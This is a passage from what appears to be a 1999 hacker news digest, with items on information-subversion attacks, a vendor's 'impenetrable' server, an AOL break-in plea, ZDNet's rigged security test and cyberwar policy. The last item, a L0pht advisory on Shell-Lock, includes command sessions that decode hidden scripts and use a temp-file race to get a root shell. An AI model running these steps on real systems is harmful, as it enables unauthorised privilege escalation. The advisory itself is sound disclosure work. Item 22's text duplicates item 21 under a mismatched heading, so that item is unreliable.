              Remember, if you find a problem, contact your bank
       immediately. You can be more easily stuck with
       discrepancies reported after 60 days.
              
       IS YOUR COMPUTER VULNERABLE?
              Click here for a free security check from ISS (Internet
       Security Systems) to see if your home computer is vulnerable
       to thieves.
       
       https://dateline.epatrol.com
              
       @HWA        

17.0  Subversion of Information 
      ~~~~~~~~~~~~~~~~~~~~~~~~~
      From HNN http://www.hackernews.com 
       
      contributed by Ender Wiggin 
      What is the absolute worse consequence of hackers on
      the Internet? Defacing high profile sites? Deleting a
      dozen machines effectively shutting down an entire
      business? Flooding subnets and denying access to an
      ISP of five thousand people? None of the above. It's
      Subversion of Information (SoI) attacks -- the
      modification of information. 

      Aviary Mag  
      http://www.aviary-mag.com/Martin/SOI_Attacks/soi_attacks.html
      

      Subversion of Information Attacks
      9/3/99

                                                   Brian Martin
                                                    OSAll Staff

      [Editor´s Note:  From now on Martin´s articles will appear on
      Wednesday of every week.]

      The Real Threat

      What is the absolute worst consequence of hackers on the Internet?
      Defacing high profile sites? Deleting a dozen machines effectively shutting
      down an entire business? Flooding subnets and denying access to an ISP
      of five thousand people? None of the above.

      One of the above threats touches on a much more sinister threat some
      hackers may pose to the Internet today. Unfortunately no one has the
      ability to say "at least it hasn't happened yet" because the nature of this
      threat prevents us from knowing. When it is discovered media outlets will
      reel in shock, stumbling over themselves trying to comprehend and report
      the full implications of such a beast. That threat is what some people call a
      'Subversion of Information' (SoI) attack. It is a style of web defacing that
      leaves no obnoxious 'elite speak', doesn't consist of poorly written rants
      about unrelated topics, nor does it warn anyone that an intrusion has taken
      place.

      I for one have no doubt it has occurred in a limited fashion at some point in
      recent history, yet no one can cite a specific example of it. The concept of
      the attack is simple. An intruder on a web server has the ability to edit any
      file on the system. Most defacements we see are bold and brazen, leaving
      no doubt the page was altered. A handful of these defacements actually
      use the base design of the original web page for their alteration. If these
      intruders were to take it one step further, they could make subtle
      alterations to the page that may not be noticed until serious and qualifiable
      damage has occured.

      Serious Repercussions

      Without a solid case history to build on, it is difficult to assess the full
      damage that can be done with a well executed Subversion of Information
      attack. At this point, we can only go by speculation and well founded
      examples based on the information available to be altered, and how people
      react to it.

      The first and most often discussed SoI attack centers around large media
      outlets. Looking at sites like ABC News, Wired and the New York Times
      (all defaced in the past), an obvious attack becomes apparent. What if
      intruders were to make subtle changes to various stories without being
      noticed? Editors at Wired could find out when lawsuits are leveled at them
      for libel. Staff at ABC could be forced to print numerous retractions
      calling their integrity into question. The New York Times might find
      themselves supporting ultra radical militia  groups that they denounced a
      day before.

      Security professionals typically bring up the obvious threat of financial
      manipulation. What if a single stock price was altered on a site catering to
      investors? A price dropped just a few dollars long enough to make a sound
      investment from a company. Shortly after, popping the price up a few
      dollars higher than the real market value. While these events are unlikely
      to occur because of various failsafes, they could lead to massive chaos for
      investors trying to handle the request for buying and selling.

      Another subtle but highly profitable attack could come in the form of sites
      with banner ads or reseller programs. OSALL is a reseller of Amazon
      books. By linking to them to share resources, Amazon is able to track
      these links and kick back a very small profit to OSALL in return for book
      sales made through them. Rather than getting a check for one hundred
      dollars every year, what if the Amazon site was altered so that every
      fourth link automatically credited OSALL regardless of where the link
      came from? The next year would be highly profitable to say the least.

      In the future

      If any serious SoI attacks have occured to date, there has been little to no
      media attention surrounding them. That, or no one has noticed such an
      attack yet. That begs the question of how you would recognize this type of
      attack if it were to occur. The trick is having a source to verify
      information on one site from another. Since this attack could affect any
      site on the net, that leaves us comparing magazines and papers to web
      sites. Kind of defeats the purpose and convenience of a web site.

      Adequate internal security and auditing would be a good start. Knowing
      that a company goes under intense certification and auditing at periodic
      intervals is definitely reassuring. But even then, what if an intruder slips by
      the defenses in between audits? Mechanisms like strong Intrusion
      Detection Systems (IDS) need to be in place. Not only would they detect
      an intruder and hopefully boot him off, they would monitor the integrity of
      the pages or information they protect, ready to rewrite a page with the
      original information if necessary.

      We have hopefully been lucky so far. Mostly inexperienced kids running
      canned scripts against web sites, uploading their own pages for bragging
      rights. The serious intruders may enter and exit your system a dozen times
      a day completely undetected. How do you know they didn't change your
      product's price to eight cents, forcing you to honor advertised prices?
      Perhaps they changed some other bit of information that hasn't been
      detected. This is just the beginning.
      Subversion of Information Attacks
      9/3/99

      @HWA
      
18.0  SAGE Offers Impenetrable Server and Kills Word "Hacktivist' 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by Code Kid 
      Systems Advisory Group Enterprises, Inc. has released a
      press release that basically defines 'hactivists' as script
      kiddies and web page defacers. Not only have we lost
      the word 'hacker' to the media we may also loose
      'hacktivism'. Oh, and they say their 'new revolutionary'
      Linux-based Web server is 'impenetrable'. They will be at
      Fall Internet World (booth #3409), why not stop by and
      tell how you feel about their mangling of words. Or
      better yet send them a nice email. 

      PR Newswire - Press Release
      http://library.northernlight.com/FB19991004480000132.html?cb=0&dx=1006&sc=0#doc
      
      Systems Advisory Group Enterprises, Inc. 
      http://www.thirdpig.com/
       
      SAGE DEMONSTRATES IMPENETRABLE WEB SERVER SECURITY APPLIANCE INDUSTRY TRENDS SHOW
                                           SECURITY BREACHES ON THE RISE


      Story Filed: Monday, October 04, 1999 9:27 AM EST 
      
      New York, Oct 4, 1999 /PRNewswire via COMTEX/ -- The White House, NASA, and the US Senate are just a few of the Web sites that have been hit by hacktivists
      this year. Hacktivism is the means of electronic civil disobedience. According to a 1999 survey by the Computer Security Institute and the FBI, the average network is
      hit by a hacktivist 15-20 times each year. In an effort to stop hackers from committing Web site invasions, Systems Advisory Group Enterprises, Inc. (SAGE) has
      pioneered an alternative Web server security appliance that will revolutionize Internet security. SAGE will demonstrate its product, BRICKHouse, to the Internet
      community at Fall Internet World (booth #3409). BRICKHouse is a highly scalable Linux-based Web server that raises the standard on Internet security by
      incorporating an innovative approach to security called Process-Based Security (PBS). This unprecedented level of security will give organizations running or hosting
      e-commerce, educational or government Web sites the confidence to know that while "law-be-damned" hackers may still try to infiltrate and take over their sites, PBS
      provides a proven bullet-proof solution to keep their Web sites operating. 
      
      BRICKHouse is designed to meet the needs of organizations that want to secure their Web sites and subsequent proprietary information from unauthorized access.
      Security threats continue to increase as organizations provide external access to internal systems via the Internet for mission- critical applications. Since 1998, over 2,000
      corporate and private Web sites have been hacked. "The vulnerability of user-based security is making headlines on a daily basis as hackers continue to wage war
      against corporate and government sites," said Vincent Larsen, SAGE's president and chief technical officer. "Security threats from the Web and the Internet will not
      decline until private and public organizations make security a high-level priority." 
      
      The Computer Security Institute report finds that system penetration by outsiders increased from 27% in 1998 to 54% in 1999, unauthorized access by insiders rose from
      36% in 1998 to 59% in 1999, and the financial losses due to computer security breaches mounted to over $100 million. With security threats on the rise and
      insurmountable financial losses, organizations need to continually evaluate their computer security systems. "As enterprises increasingly depend on Web sites to drive
      business growth and information sharing, BRICKHouse's PBS model will enable companies to fully leverage the power of the Internet, without fear that the security of
      their Web site has been compromised by hackers and viruses," said Larsen. 
      
      PBS was designed on the premise that people don't delete files, processes do. Unlike current user-based systems where security is designed to give access to resources
      based on an identified user, PBS provides access to resources based on the currently running process. As the program runs on the system and requests access to
      resources, its security profile is checked to determine whether the resource can be made available. The operating system is not concerned with who initiated the
      program, only what the program wants. BRICKHouse's "Access Denied" message will greet all unauthorized requests for resources. 
      
      About BRICKHouse The PBS-based BRICKHouse Web server includes a custom Remote Administration Program that allows the system administrator to perform
      tasks safely and securely from anywhere on the Internet. While other security models include some remote access functionality, the vulnerabilities of their conventional
      remote administration are easily discovered and exploited. In the BRICKHouse model, access is denied to any program that could bring down the server. Even though
      the server remains running, there is nothing that can coerce it. The Custom Remote Administration offers a minimum of 128 bit encryption and can reach 256 bit when
      logging on and integrates with Windows 95 interface. 
      
      Other features in BRICKHouse include selective WAN (wide area network) mail services that give specified users access to the server to send e-mail from remote
      locations, a Customer Gateway Interface (CGI) server-side programming, and SMTP anti-spamming that restricts access to the mail server from unauthorized users.
      BRICKHouse starts at $2,795 and will be commercially available in October. Pre-orders will be taken at the show, booth #3409. 
      
      About SAGE Systems Advisory Group Enterprises (SAGE) is the Amarillo, Texas-based developer and marketer of BRICKHouse, a bulletproof, Process-Based
      Security (PBS) Web server designed to protect Web sites from the onslaught of hackers and viruses. BRICKHouse's PBS feature is an innovative approach to security
      where access to resources is based on the process running and not the user. For more information on SAGE and BRICKHouse, please visit their web site at
      www.thirdpig.com. 
      
      All company and product names may or may not be trademarks or registered trademarks of their respective companies. 
      
      SOURCE SAGE (C) 1999 PR Newswire. All rights reserved. http://www.prnewswire.com 
      
      CONTACT:       David Smith of Rainier Corporation, 978-464-5302, ext. 121, 
      
      dave@rainierco.com, or Rhonda Barreras of SAGE, Inc., 806-354-8185, rhonda@sage-inc.com 
      
      WEB PAGE:      
      http://www.rainierco.com 
      
      
      http://www.thirdpig.com 
      
      GEOGRAPHY:     New York 
      
      INDUSTRY CODE: CPR FIN MLM 
      
      Copyright © 1999, PR Newswire, all rights reserved.
      
      You may now print or save this document. 
      
      Money Back Guarantee   If you buy an article and you are not satisfied with it, let us know and we will refund your money - no questions asked. Please press the "Money Back
      Guarantee" link for additional information about this policy. 
      
      Portions of above Copyright © 1997-1999, Northern Light Technology LLC. All rights reserved. 
      
      @HWA 
      
19.0  19yr old Sentenced For AOL Break In 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by evilwench 
      Jay Satiro, 19, admitted in court that last March he
      broke into America Online. The damage he caused is
      estimated at $50,000. He has pleaded guilty in
      Westchester County Court to first-degree computer
      tampering. This crime carries a maximum sentence of up
      to 15 years in prison. It should be noted that he once
      worked as an AOL volunter and used his inside
      knowledge while committing his crimes. 

      ABC News 19yr old Sentenced For AOL Break In 
      http://www.abcnews.go.com/wire/US/ap19991005_1581.html
      
      Teen pleads guilty to breaking
      into AOL computers
      
      
                  WHITE PLAINS, N.Y. (AP) _ A
                 teen-age hacker admitted in court
                  Tuesday that he broke into America
                 Online's internal computers from  his
                 bedroom and altered programs.  
      
                 Jay Satiro, 19, pleaded guilty in
                 Westchester County Court to  first-degree
                 computer tampering. He could be
      sentenced to up to 15  years in prison.  
      
      In March, police showed up at Satiro's home and took him
      and his  computer into custody after AOL detected the
      intrusion, traced it  to Satiro and notified the district
      attorney's office.  
      
      The criminal complaint said damage Satiro did to AOL
      would cost  more than $50,000 to repair.  
      
      Satiro had once worked as a volunteer at AOL technical
      support  and "combined his AOL knowledge with other
      information that he had  gathered from other hackers," the
      district attorney's office said  Tuesday. 
      
      @HWA

20.0  ZD Net Admits To Favoritism in Security Challenge 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by evilwench 
      ZD Net has admitted to rigging a recent challenge to
      break in to a NT and Linux box. The test conducted for
      PC Week attempted to find which was the more secure
      operating system. ZDNet Labs has revealed that they
      deliberately neglected to apply 21 different security
      patches to the Linux system, including the one used by
      the person who broke the Linux boxes security. And
      people wonder why we label these challenges as
      publicity stunts. 

      Linux Today ZD Net Admits To Favoritism in Security Challenge 
      http://linuxtoday.com/stories/10767.html
      
      ZDNet Admits Mistakes in Recent Security Test
      Oct 4, 1999, 23:19 UTC (114 Talkbacks) (Other stories by Arne W. Flones) 
   
      [ The opinions expressed by authors on Linux Today are their own. They speak only for themselves
      and not for Linux Today. ] 
   
      By Arne W. Flones 
   
      Regarding the recent Hacker Shootout, ZDNet Labs today admitted that they deliberately ignored an
      embarrassing 21 security upgrades to one of the two systems under test. (See PC Week: CGI script opens
      door) 
   
      In this alleged test of security, ZDNet Labs invited "hackers" [sic] to try to break into two different
      computers, one running Windows NT and one running the Red Hat distribution of Linux. This came on the
      heals of August's similar battle between Windows NT and an Apple-based Linux distribution which drew a
      lot of publicity. Under criticism from the Linux community for the lack of objectivity in the test, ZDNet's
      director, John Taschek responded, 
   
           [The test] was designed and put together by PC Week for the purpose of testing security
           implementation. We don't care which operating system (if any) is broken into first. We want to
           establish the basis for a story on the best practices for implementing security. 
   
      And later he said, 
   
           We don't care who wins or loses--in fact we're not looking to report a winner or loser. Just on
           implementations. 
   
      In spite of continued protests, the test proceeded and on September 24 the Linux site was cracked using a
      combination of a weakness in Web programming and a security hole in a program called crond, part of
      every Linux installation. 
   
      When the method used by the cracker was revealed, it was immediately apparent that both of the security
      holes could have easily been closed. The first hole, within a type of World Wide Web program called a CGI
      script, could have been avoided by paying closer attention to security when writing the script. This hole had
      nothing to do with Linux, but was in a separate application. The second hole had been publicly revealed in
      August by Red Hat, the distributor of the Linux system under test. Although ZDNet labs might have
      inadvertently slipped up on the first hole, they would have certainly known about the second. The cracker
      used both holes to crack into the system. 
   
      Today, ZDNet Labs revealed that they deliberately neglected to apply some 21 different recent security
      patches to the Linux system, including one used by the cracker to gain access to the Linux server. It is this
      admission that has raised the hackles of knowledgeable computer users, security experts and the Linux
      community. 
   
      As the source instructions which make up Linux are freely available to anybody who wants them, there are
      no reasons to wait to make security changes available to the public. So this number of security patches are
      common in the Linux world. As soon as a security hole is found, it is quickly patched and the fix is
      immediately posted to the public forums on the Net. The ability to look at all the source instructions enables
      anybody to verify the correctness of the patch. Typically, a program to exercise the exploitation is available
      as well. This dramatically reduces the risk in applying these patches. The scope of the changes is very
      narrow and is very easily tested in isolation. Therefore, with a small effort, and in a very short time, an IT
      manager can know the impact the patch will have on her all important systems. The result is that the patch
      can be applied quickly and with the assurance that nothing will break but the cracker's ability to compromise
      the company's data. 
   
      This is very unlike the Windows NT world, where Microsoft keeps all the source instructions secret.
      Microsoft Windows, by nature of its proprietary design, must withhold security information and release the
      fixes all at once in a larger, less frequent, service release. The policy of security through obscurity is
      arguable. But the impact of fixing security holes with an infrequent and all encompassing software upgrade
      is not. It can make testing a nightmare because individual fixes are not testable in exclusion of other
      changes. And, since Microsoft lumps the many security fixes with other, general improvements, adding a
      Microsoft service release enterprise-wide is a very, very risky affair. One never knows what will break.
      Therefore, the rules of the game are very different for Windows than they are for Linux. ZDNet Labs
      conveniently ignores this fact. 
   
      ZDNet's response to the charges of the unfairness of omitting the 21 security patches was that enterprise
      businesses would not want to apply 21 individual fixes and that most large companies would prefer the one
      large, sweeping-in-scope, fix. ZDNet provides no basis for this absurd claim. Their claim goes against
      common practice in the industry and it is against common sense. It is only in the Microsoft world where an
      untestable, monolithic software release is preferable to a few much smaller, and manageable, perturbances.
      Nota bene: ZDNet's objection to the the 21 easily audited and tiny patches didn't prevent ZDNet Labs from
      hypocritically applying Microsoft's latest huge service release for Windows NT in time for the test. 
   
      ZDNet's claims are unsupportable. Not only was ZDNet Labs responsible for allowing the installation of a
      flubbed CGI script which allowed the cracker to peek into the Linux system, they were negligent in ignoring
      21 known security holes. Their admission today that they deliberately chose not to apply these patches has
      tainted their test. They knew that every cracker would look first at these 21 cricks in Linux's armor. No
      wonder it only took a few days for the Linux system to be cracked. ZDNet's incompetence assured it. 
   
      This comes as close to professional malfeasance as I have ever seen. With today's knowledge it is
      impossible for ZDNet to claim even vestigial objectivity. With what we now know of this affair, to continue
      the charade would be an injustice. 
      
      @HWA 

21.0  CyberWarriors Could Have Cut Kosovo Campaign Time In Half 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com

      contributed by evilwench 
      A draft report prepared by U.S. Naval Forces, Europe
      claims that if its team of information warriors had the
      proper training and more experience they could have cut
      the duration of the Kosovo Campaign in half. The overall
      role of the infowarriors was deemed a success however.

      Federal Computer Week
      http://www.fcw.com/pubs/fcw/1999/1004/fcw-editorial-10-04-99.html
      
      OCTOBER 4, 1999 


       EDITORIAL

       When cyberwar comes of age

       New reports analyzing the Defense Department's efforts to conduct
       electronic warfare during military operations in Yugoslavia last spring give much
       cause for hope and some cause for concern about U.S. capabilities on this
       emerging front.

       Of course, DOD officials are not saying much in public about a so-called
       cyberwar, but their actions speak volumes. Earlier this year, the United States
       established a team of information warriors to electronically attack Serbian
       networks and computers, according to a draft report written by the U.S. Naval
       Forces, Europe.

       Although the information warriors had "great success" during the 78-day battle,
       according to the report, the effort had encountered problems. In particular,
       DOD's information warriors were "too junior and from the wrong communities"
       to plan and execute such operations, according to the report. Had information
       operations been properly executed, DOD could have cut the length of the
       campaign in half, the report states.

       Obviously, DOD has entered a difficult stage in the development of its
       information warfighting capabilities. The Pentagon clearly understands the vast
       potential for cyberwarfare in military operations, as information systems
       infiltrate nearly every aspect of the battlefield.

       But the Navy report suggests that DOD simply has not managed to bring
       together the resources it needs to put those ideas into action. Other aspects of
       military operations have been tested and refined in an endless string of battles,
       but DOD's information operations have not had the time and experience to
       mature.

       Such shortcomings are expected in a technology still in its infancy. The real
       danger at this juncture is if Pentagon officials do not take this study to heart, in
       light of the cyberwar effort's apparent successes.

       Cyberwar is coming of age rapidly. If DOD does not step up its efforts, it might
       find itself trying to play catch-up. 
       
       @HWA
       
22.0  JTF-CND Moves to Space Command 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by evilwench 
      The Joint Task Force for Computer Network Defense
      (JTF-CND), has become part of US Space Command.
      JTF-CND is tasked with conducting real-time intrusion
      detection and cyber counterintelligence across DOD
      networks. This raises JTF-CND's political clout to a level
      where the unit may actually prove effective. 

      Federal Computer Week       
      http://www.fcw.com/pubs/fcw/1999/1004/fcw-editorial-10-04-99.html


      OCTOBER 4, 1999 


      EDITORIAL

      When cyberwar comes of age

      New reports analyzing the Defense Department's efforts to conduct
      electronic warfare during military operations in Yugoslavia last spring give much
      cause for hope and some cause for concern about U.S. capabilities on this
      emerging front.

      Of course, DOD officials are not saying much in public about a so-called
      cyberwar, but their actions speak volumes. Earlier this year, the United States
      established a team of information warriors to electronically attack Serbian
      networks and computers, according to a draft report written by the U.S. Naval
      Forces, Europe.

      Although the information warriors had "great success" during the 78-day battle,
      according to the report, the effort had encountered problems. In particular,
      DOD's information warriors were "too junior and from the wrong communities"
      to plan and execute such operations, according to the report. Had information
      operations been properly executed, DOD could have cut the length of the
      campaign in half, the report states.

      Obviously, DOD has entered a difficult stage in the development of its
      information warfighting capabilities. The Pentagon clearly understands the vast
      potential for cyberwarfare in military operations, as information systems
      infiltrate nearly every aspect of the battlefield.

      But the Navy report suggests that DOD simply has not managed to bring
      together the resources it needs to put those ideas into action. Other aspects of
      military operations have been tested and refined in an endless string of battles,
      but DOD's information operations have not had the time and experience to
      mature.

      Such shortcomings are expected in a technology still in its infancy. The real
      danger at this juncture is if Pentagon officials do not take this study to heart, in
      light of the cyberwar effort's apparent successes.

      Cyberwar is coming of age rapidly. If DOD does not step up its efforts, it might
      find itself trying to play catch-up. 
      
      @HWA
      
23.0  Anti-CyberCrime Unit Opens in Netherlands 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by Weld Pond 
      The Dutch police department has opened their new
      cybercrime unit by naming 15 'cybercops' to the unit.
      The unit will patrol the Internet looking for criminal
      activity such as pedophilia to credit card fraud. The unit
      will be permitted to tap phones with a court order and
      has the authority to break-in to personal systems in
      search of evidence. (The world is becoming a very
      scary place.) 

      Associated Press - via Canoe.ca   
      http://www.canoe.ca/TechNews9910/04_cops.html
      
      Monday, October 4, 1999

      Internet police to regulate information
      highway with cyber-unit

       AMSTERDAM, Netherlands (AP) -- Dutch police opened their fight against
      Internet crime Monday, naming 15 "cybercops" who will target on-line
      offenses ranging from pedophilia to credit card fraud. 

       The team will patrol the country's Internet sites in search of on-line crime,
      using new computer surveillance equipment and old-fashioned police
      techniques. 

       "They will go after all crime committed on the Internet and that could range
      from child pornography to credit card fraud, or the sale of illegal medicine and
      software," said police spokesman Albert Folgerts. 

       The Internet officers will be able to tap phone lines and with a court order will
      even be permitted to crack into computer systems to find incriminating
      evidence -- the virtual equivalent of a search warrant.    
      
      @HWA

24.0  CERT to Share Info With iDefense 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by Weld Pond 
      The CERT Coordination Center has announced that they
      will share information stored in its Knowledge Base
      database with Infrastructure Defense Inc. (iDefense). It
      is hoped that this will give the groups a better
      understanding of the scope and magnitude of intruder
      activity. 

      Lets wake up folks. There is already an online
      vulnerabilities data sharing resource. Its called Bugtraq.
      How are all these little infowar data sharing groups
      going to match the open full disclosure of Bugtraq? Why
      not sign on and help out bugtraq readers and
      contributors instead of setting up little doomed
      fiefdoms that hoard information. 

      Federal Computer Week 
      http://www.fcw.com/pubs/fcw/1999/1004/web-cert-10-04-99.html
      
      OCTOBER 4, 1999 


      CERT, iDefense team to study info warfare data
      sharing

      BY DANIEL VERTON (dan_verton@fcw.com)

      The Computer Emergency Response Team Coordination Center at Carnegie
      Mellon University, a federally funded research and development center, has
      launched a pilot project with one of industry's leading cyberintelligence firms to
      study new ways of sharing data about information warfare threats.

      Under the terms of the pilot program, Carnegie Mellon's CERT Coordination
      Center will share information stored in its Knowledgebase database with
      Infrastructure Defense Inc. (iDefense), an Alexandria, Va.-based firm
      specializing in cyberintelligence, indications and warnings.

      "This will help us get a better understanding of the scope and magnitude of
      intruder activity," said Kathy Fithen, manager of the CERT Coordination Center.
      "Sharing information is the best way for all of us to address this problem.
      Everybody wins with this agreement."

      The coordination center grew out of the CERT effort, which was begun initiated
      by the Defense Advanced Research Projects Agency in 1988. CERT works
      with the Internet community to facilitate defensive responses to computer
      security threats and conducts research targeted at improving the security of
      existing systems and software.

      According to Fithen, the pilot project will focus on finding the most effective
      ways to share and distribute information throughout the critical infrastructure
      protection community. The CERT Coordination Center plans to expand the
      program to include other companies and institutions once officials at the center
      have found the most effective methods for sharing information, Fithen said.

      "We want to get better at conducting early warning," Fithen said. "[The pilot] is
      critical to the success of attacking the problem of information assurance." 

      In addition to conducting staff exchanges with iDefense, the CERT
      Coordination Center plans to make available hundreds of gigabytes of data on
      the last ten years' worth of known technology vulnerabilities, including known
      hacker methods and profiles and security flaws of various software. A secure
      intranet portal also will be established to enable iDefense and CERT
      Coordination Center analysts to access and share data.

      iDefense will use the cooperative agreement to enhance its current offerings in
      cybersecurity trend analysis, threat predictions and recommendations for
      defenses.

      Fithen said sharing information with companies like iDefense is critical because
      hackers have been doing it successfully for years. "We haven't been as free and
      open in sharing our information to protect systems," Fithen said. "But the
      intruder community has been very effective in sharing the information they
      have."

      Both the CERT Coordination Center and iDefense have customers throughout
      the government and commercial sector, including the Defense Department's
      Joint Task Force for Computer Network Defense and various intelligence
      agencies.

      James Adams, chief executive officer of iDefense, which recently expanded its
      analytical capabilities through a deal with Oxford Analytica, said the pilot project
      probably will result in better information for iDefense customers.

      Adams noted that the CERT Coordination Center has more "historical data"
      than iDefense. He said he expects a series of case studies to come out of the
      pilot project that focuses on analysis of hacker trends, predictions of current and
      future threats and recommendations on how agencies and commercial
      enterprises should secure their systems and networks.
      
      @HWA
                    
25.0  Online Safety and Ethics Program Funded by DoJ 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by Weld Pond 
      A joint Department of Justice and Information
      Technology Association of America project known as the
      Cybercitizen Partnership was created in March to raise
      awareness among young web surfers about how to be
      responsible, and law-abiding. With $300,000 from the
      Justice Department the Cybercitizen Partnership hopes
      to educate younger Internet users about the do's and
      don't of being online. The campaign is aimed at children
      12 and younger. 

      The Industry Standard
      http://www.thestandard.net/articles/article_print/0,1454,6711,00.html
      
      US DOJ Internet Do's and Don'ts Online Safety and Ethics Program Funded by DoJ 
      http://www.usdoj.gov/kidspage/do-dont/kidinternet.htm
      
      
      Justice Dept. Funds Antihacking Campaign 

      By Keith Perine 

      WASHINGTON – The Justice Department is trying to save children
      before they turn into hackers. 

      With its $300,000 funding of the Cybercitizen Partnership, an
      awareness campaign coordinated by the Information Technology
      Association of America, the Justice Department assumes the unusual
      role of helping to educate budding Web users about how to be
      responsible, law-abiding surfers. 

      The Cybercitizen Partnership, announced in March, is a joint
      Justice-ITAA effort aimed at protecting the country's Internet
      infrastructure from outlaw hackers and other criminals. Faced with a
      security breach, law enforcement officials don't know at first if
      they're confronting a foreign terrorist, a college student or a couple
      of sixth-graders who are having some fun with Dad's computer. But
      an ITAA official said that, upon investigation, a surprising number of
      cases involve child hackers. 

      The association says that information technology makes up about 6
      percent of the global gross domestic product – some $1.8 trillion of
      electronic infrastructure that needs to be protected against
      disgruntled former employees, corporate spies and juvenile
      delinquents who like to pull pranks. 

      Figuring that it's too late to reform terrorists and spies, the ITAA
      decided to concentrate on the kids. The campaign, which debuts in
      January, will initially target children 12 and under, aiming to teach
      them proper online behavior and to instill a healthy disdain for
      hacking. The association wants to "help weed out some of the less
      meaningful system violations by curious children so that law
      enforcement can focus on the true criminals," says ITAA President
      Harris Miller. 

      The cash infusion from the Justice Department is in keeping with a
      long tradition of government-sponsored public education campaigns,
      from the Interior Department's Smokey the Bear messages against
      forest fires to the Drug Enforcement Administration's "Just Say No"
      war on drugs. 

      Miller says the campaign could be expanded to educate kids about
      other aspects of proper Internet etiquette, such as warning them
      against sending spam – for kids, the modern-day equivalent of prank
      telephone calls – or visiting Web sites with adult content. The main
      focus of the campaign, however, will be to "send the message that
      hacking isn't cute, clever or funny." In addition to the funding from
      Justice, the ITAA also plans to pass the hat among its own
      membership, a who's-who list of the high-tech industry that includes
      Microsoft (MSFT) , America Online (AOL) and IBM (IBM) . The
      association will also seek funds from foundations and possibly from
      private individuals. 

      The association has sent out a request to several public relations
      companies for ideas on how to run the campaign, which might
      include television and Internet advertising, brochures and even visits
      to schools. One possibility under consideration: the creation of a
      mascot, like the famous McGruff crime dog, to pass the message
      along in a friendly manner. 
            
      @HWA
      
26.0  Shell-Lock Use Found to Be Risky 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com 


      contributed by Dr. Mudge 
      Shell-Lock, written by Cactus Software, allows users to
      'compile' and obfuscate shell code. The tool does trivial
      encoding and creates security risks if used in many
      scenarios. 

      L0pht Heavy Industries       
      http://www.l0pht.com
      
            
                                  L0pht Security Advisory
      
                                Advisory Released Oct 4 1999
                         Application: Cactus Software's shell-lock
                      Severity (a): Users can de-obfuscate and retrieve 
                                    the hidden shell code
                      Severity (b): If a shell-locked binary is setuid 
                                    root a user can execute any command 
                                    as root.
                    Status: The vendor has been sent a copy of the advisory
                      (in a format that "Even if a hacker used the 'strings'
                       utility, it would be a total waste of time.)
      
                       
      
                            Author: mudge@l0pht.com and lumpy
                           http://www.l0pht.com/advisories.html
      
      Overview:
      
      (a) A trivial encoding mechanism is used for obfuscating the shell code in the
      "compiled" binary. Anyone with read permissions to the file in question can
      decode and retrieve the original shell code. Another vulnerability exists 
      where the user can retrieve the un-encoded shell script without needing to 
      actually decode the binary.
      
      (b) The vendors claim the program to be useful in creating SUID binaries
      on systems that do not honor SUID shell scripts and also to protect against
      the security problems with SUID shell scripts. As it turns out any shell-lock
      "compiled" program that is SUID root will allow any user to execute 
      any program with root privileges. 
      
      Example (a'):
      
      [slaughter-house] cat q.sh
      #!/bin/sh
      echo "hi there... this is a test"
      
      [slaughter-house] shell-lock -o q q.sh
      
                               SHELL-LOCK(tm)      
                        Shell Script Security Software 
                           Copyright (C) 1989-1999   
                          Cactus International, Inc.
                       (Version:  2.1.1.1        7/19/99)
      
      Converting files:  q.sh
      
      Compiling.....DEMO Version...
      Success!!
      
      The shell script "q" has been compiled and placed in "q"
      Conversion successful!!
      
      [slaughter-house] file q
      q:     ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
      
      [slaughter-house] ./q
      hi there... this is a test
      
      [slaughter-house] strings ./q
      (some stuff... not the ascii from the shell script)
      
      [slaughter-house] ./codem -d -i ./q
      #!/bin/sh
      rm -f $0 2>/dev/null
      echo "hi there... this is a test"
      
      Example (a''):
      
      [slaughter-house] temp-watch -d /var/tmp -C 'q*' -D ./ &
      [1] 22971
      [slaughter-house] nice +10 ./q
      hi there... this is a test
      [slaughter-house] more q*
      #!/bin/sh
      rm -f $0 2>/dev/null
      echo "hi there... this is a test"
      
      Example (b):
      
      # ls -l q
      -rwxr-xr-x   1 mudge    other      50753 Sep 28 14:24 q
      # chown root q
      # chmod 4755 q
      # exit
      [slaughter-house] id
      uid=789(mudge) gid=1(other)
      [slaughter-house] ls -l q
      -rwsr-xr-x   1 root     other      50753 Sep 28 14:24 q
      [slaughter-house] temp-watch -X '^q*' -R /bin/sh -d /var/tmp &
      [1] 23071
      [slaughter-house] nice +10 ./q
      # id
      uid=0(root) gid=1(other)
      
      
      Background on shell-lock:
      
        Have you ever seen the big advertisements run in the back of SysAdmin
      magazine. You know, the ones with the Texan with the huge hat and
      sunglasses? Me too! Well, that is Cactus software and I've wanted to 
      look at some of their stuff but never found the time. Until lumpy
      spotted some rather funny (read sad) stuff, and away we went.
      
        The program "shell-lock" is used to create ELF binaries from shell scripts.
      Ostensibly called a Shell Script Compiler, the literature states that the 
      program also hides the original shell code so as not to be returnable 
      through running strings(1) on the binary.
      
      A few tidbits from the product literature available on their web page 
      ( http://www.cactus.com/shellock.html ):
      
        . There is absolutely no way anyone will know the contents of the shell
          script once it has been locked. Even if a hacker used the "strings"
          utility, it would be a total waste of time.
      
        . Make a simple limited shell script run with root power. This is done by
          making the binary executable a set-uid program, and eliminates giving
          out the "root password" to many users.
      
      And from the release notes:
      
        . Strong Security enhancements. All known methods of attack on a
          shell-locked script have been thwarted in this version.
      
      
      Details:
      
      A quick decompilation shows that the encoding and decoding routines look
      as follows:
      
